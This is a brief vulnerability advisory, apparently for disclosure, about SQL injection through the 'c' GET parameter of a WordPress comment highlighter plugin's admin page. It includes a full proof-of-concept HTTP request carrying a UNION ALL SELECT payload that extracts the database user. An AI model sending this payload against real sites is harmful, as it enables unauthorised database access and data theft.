A c GET parameter of the plugin is not properly sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection.
GET /wp-admin/options-general.php?page=comment-highlighter/comment_highlighter.php&c;=-6104%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,user(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- HTTP/1.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-GPC: 1 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: [admin+] Connection: close